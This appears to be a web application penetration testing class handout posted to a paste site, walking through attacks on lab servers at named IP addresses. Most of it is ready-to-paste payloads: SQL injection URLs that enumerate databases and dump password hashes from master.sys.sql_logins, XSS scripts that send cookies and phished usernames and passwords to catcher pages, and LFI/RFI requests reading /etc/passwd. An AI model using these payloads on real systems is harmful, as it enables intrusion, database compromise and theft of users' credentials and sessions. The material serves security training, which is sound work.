  991. Most people are going to tell you reference the OWASP Testing guide.
  992. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  993.  
  994. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  995.  
  996.  
  997. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  998.  
  999. 1. Does the website talk to a DB?
  1000. - Look for parameter passing (ex: site.com/page.php?id=4)
  1001. - If yes - try SQL Injection
  1002.  
  1003. 2. Can I or someone else see what I type?
  1004. - If yes - try XSS
  1005.  
  1006. 3. Does the page reference a file?
  1007. - If yes - try LFI/RFI
  1008.  
  1009. Let's start with some manual testing against 45.77.162.239
  1010.  
  1011.  
  1012. Start here:
  1013. ---------------------------Paste this into Firefox-----------------------------------
  1014. http://45.77.162.239/
  1015. -----------------------------------------------------------------------
  1016.  
  1017. Let's try throwing a single quote (') in there:
  1018. ---------------------------Paste this into Firefox-----------------------------------
  1019. http://45.77.162.239/bookdetail.aspx?id=2'
  1020. -------------------------------------------------------------------------------------
  1021.  
  1022. I get the following error:
  1023.  
  1024. Unclosed quotation mark after the character string ''.
  1025. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  1026.  
  1027. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033.  
  1034.  
  1035.  
  1036.  
  1037.  
  1038. #########################################################################################
  1039. # SQL Injection #
  1040. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  1041. #########################################################################################
  1042.  
  1043.  
  1044. - Another quick way to test for SQLI is to remove the parameter value
  1045.  
  1046.  
  1047. #############################
  1048. # Error-Based SQL Injection #
  1049. #############################
  1050. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1051. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  1052. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  1053. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  1054. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  1055. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  1056. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  1057. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  1058. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  1059. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  1060. ---------------------------------------------------------------------------------------------------------
  1061.  
  1062.  
  1063.  
  1064.  
  1065.  
  1066. #############################
  1067. # Union-Based SQL Injection #
  1068. #############################
  1069. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1070. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  1071. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  1072. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  1073. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  1074. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  1075. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  1076. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  1077. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  1078. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  1079. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  1080. ---------------------------------------------------------------------------------------------------------
  1081.  
  1082. We are using a union select statement because we are joining the developer's query with one of our own.
  1083. Reference:
  1084. http://www.techonthenet.com/sql/union.php
  1085. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  1086. It removes duplicate rows between the various SELECT statements.
  1087.  
  1088. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  1089. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1090. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  1091. ---------------------------------------------------------------------------------------------------------
  1092. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  1093.  
  1094. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1095. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  1096. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  1097. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  1098. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  1099. ---------------------------------------------------------------------------------------------------------
  1100.  
  1101.  
  1102.  
  1103.  
  1104. - Another way is to see if you can get the backend to perform an arithmetic function
  1105. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1106. http://45.77.162.239/bookdetail.aspx?id=(2)
  1107. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  1108. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  1109. ---------------------------------------------------------------------------------------------------------
  1110.  
  1111. - This is some true/false logic testing
  1112. ---------------------------Paste this into Firefox-----------------------------------
  1113. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  1114. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  1115. http://45.77.162.239/bookdetail.aspx?id=1*1
  1116. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  1117. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  1118. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  1119. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  1120. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  1121. -------------------------------------------------------------------------------------
  1122.  
  1123. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  1124. ---------------------------Paste this into Firefox-----------------------------------
  1125. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  1126. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  1127. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  1128. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  1129. ---------------------------------------------------------------------------------------
  1130.  
  1131.  
  1132. ###############################
  1133. # Blind SQL Injection Testing #
  1134. ###############################
  1135. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1136.  
  1137. 3 - Total Characters
  1138. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1139. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1140. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1141. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1142. ---------------------------------------------------------------------------------------------------------
  1143.  
  1144. Let's go for a quick check to see if it's DBO
  1145. ---------------------------Paste this into Firefox-----------------------------------
  1146. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1147. -------------------------------------------------------------------------------------
  1148. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1149.  
  1150. D - 1st Character
  1151. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1152. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1153. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1154. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  1155. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1156. ---------------------------------------------------------------------------------------------------------
  1157.  
  1158. B - 2nd Character
  1159. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1160. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1161. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1162. ---------------------------------------------------------------------------------------------------------
  1163.  
  1164. O - 3rd Character
  1165. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1166. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1167. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1168. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1169. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1170. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1171. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1172. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1173. ---------------------------------------------------------------------------------------------------------
  1174.  
  1175.  
  1176. ###############################################################################
  1177. # What is XSS #
  1178. # https://s3.amazonaws.com/infosecaddicts-files/2-Intro_To_XSS.pptx #
  1179. ###############################################################################
  1180.  
  1181. OK - what is Cross Site Scripting (XSS)
  1182.  
  1183. 1. Use Firefox to browse to the following location:
  1184. ---------------------------Paste this into Firefox-----------------------------------
  1185. http://45.63.104.73/xss_practice/
  1186. -------------------------------------------------------------------------------------
  1187.  
  1188. A really simple search page that is vulnerable should come up.
  1189.  
  1190.  
  1191.  
  1192.  
  1193. 2. In the search box type:
  1194. ---------------------------Paste this into Firefox-----------------------------------
  1195. <script>alert('So this is XSS')</script>
  1196. -------------------------------------------------------------------------------------
  1197.  
  1198.  
  1199. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1200. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1201.  
  1202.  
  1203. 3. In the search box type:
  1204. ---------------------------Paste this into Firefox-----------------------------------
  1205. <script>alert(document.cookie)</script>
  1206. -------------------------------------------------------------------------------------
  1207.  
  1208.  
  1209. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1210. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1211.  
  1212. 4. Now replace that alert script with:
  1213. ---------------------------Paste this into Firefox-----------------------------------
  1214. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1215. -------------------------------------------------------------------------------------
  1216.  
  1217. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1218.  
  1219.  
  1220. 5. Now view the stolen cookie at:
  1221. ---------------------------Paste this into Firefox-----------------------------------
  1222. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  1223. -------------------------------------------------------------------------------------
  1224.  
  1225. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231.  
  1232. ############################
  1233. # A Better Way To Demo XSS #
  1234. ############################
  1235.  
  1236.  
  1237. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1238.  
  1239.  
  1240. Use Firefox to browse to the following location:
  1241. ---------------------------Paste this into Firefox-----------------------------------
  1242. http://45.63.104.73/xss_practice/
  1243. -------------------------------------------------------------------------------------
  1244.  
  1245.  
  1246. Paste this in the search box
  1247. ----------------------------
  1248.  
  1249.  
  1250. Option 1
  1251. --------
  1252. ---------------------------Paste this into Firefox-----------------------------------
  1253. <script>
  1254. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1255. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1256. </script>
  1257. -------------------------------------------------------------------------------------
  1258.  
  1259. Now view the stolen cookie at:
  1260. ---------------------------Paste this into Firefox-----------------------------------
  1261. http://45.63.104.73/xss_practice/passwords.html
  1262. -------------------------------------------------------------------------------------
  1263.  
  1264.  
  1265. Option 2
  1266. --------
  1267. -------------------------Paste this into Firefox-----------------------------------
  1268. <script>
  1269. username=prompt('Please enter your username',' ');
  1270. password=prompt('Please enter your password',' ');
  1271. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  1272. </script>
  1273. -------------------------------------------------------------------------------------
  1274.  
  1275.  
  1276.  
  1277. Now view the stolen cookie at:
  1278. http://45.63.104.73/xss_practice/username_password_logs.html
  1279.  
  1280.  
  1281.  
  1282.  
  1283. #########################################
  1284. # Let's try a local file include (LFI) #
  1285. #########################################
  1286. - Here is an example of an LFI
  1287. - Open this page in Firefox:
  1288. -------------------------Paste this into Firefox-----------------------------------
  1289. http://45.63.104.73/showfile.php?filename=contactus.txt
  1290. -------------------------------------------------------------------------------------
  1291.  
  1292.  
  1293. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  1294. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  1295. - You can attack this by doing the following:
  1296. -------------------------Paste this into Firefox-----------------------------------
  1297. http://45.63.104.73/showfile.php?filename=/etc/passwd
  1298. -------------------------------------------------------------------------------------
  1299.  
  1300.  
  1301. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  1302. - somewhere else on the Internet. Here is an example of a text file on the web:
  1303. -------------------------Paste this into Firefox-----------------------------------
  1304. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1305. -------------------------------------------------------------------------------------
  1306.  
  1307. - Now we can attack the target via RFI like this:
  1308. -------------------------Paste this into Firefox-----------------------------------
  1309. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1310. -------------------------------------------------------------------------------------
  1311.  
  1312.  
  1313.  
  1314. ###############################
  1315. # How much fuzzing is enough? #
  1316. ###############################
  1317. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  1318.  
  1319. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  1320.  
  1321.  
  1322. Step 1: Ask yourself the 3 questions per page of the site.
  1323.  
  1324. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  1325.  
  1326. Step 3: When you load your fuzz strings - use the following decision tree
  1327.  
  1328. - Are the fuzz strings causing a default error message (example 404)?
  1329. - If this is the case then it is most likely NOT vulnerable
  1330.  
  1331. - Are the fuzz strings causing a WAF or LB custom error message?
  1332. - If this is the case then you need to find an encoding method to bypass
  1333.  
  1334.  
  1335. - Are the fuzz strings causing an error message that discloses the backend type?
  1336. - If yes, then identify DB type and find correct syntax to successfully exploit
  1337. - Some example strings that I use are:
  1338. '
  1339. "
  1340. () <----- Take the parameter value and put it in parenthesis
  1341. (5-1) <----- See if you can perform an arithmetic function
  1342.  
  1343.  
  1344. - Are the fuzz strings rendering executable code?
  1345. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  1346. - Some example strings that I use are:
  1347. <b>hello</b>
  1348. <u>hello</u>
  1349. <script>alert(123);</script>
  1350. <script>alert(xss);</script>
  1351. <script>alert('xss');</script>
  1352. <script>alert("xss");</script>
Add Comment
Please, Sign In to add comment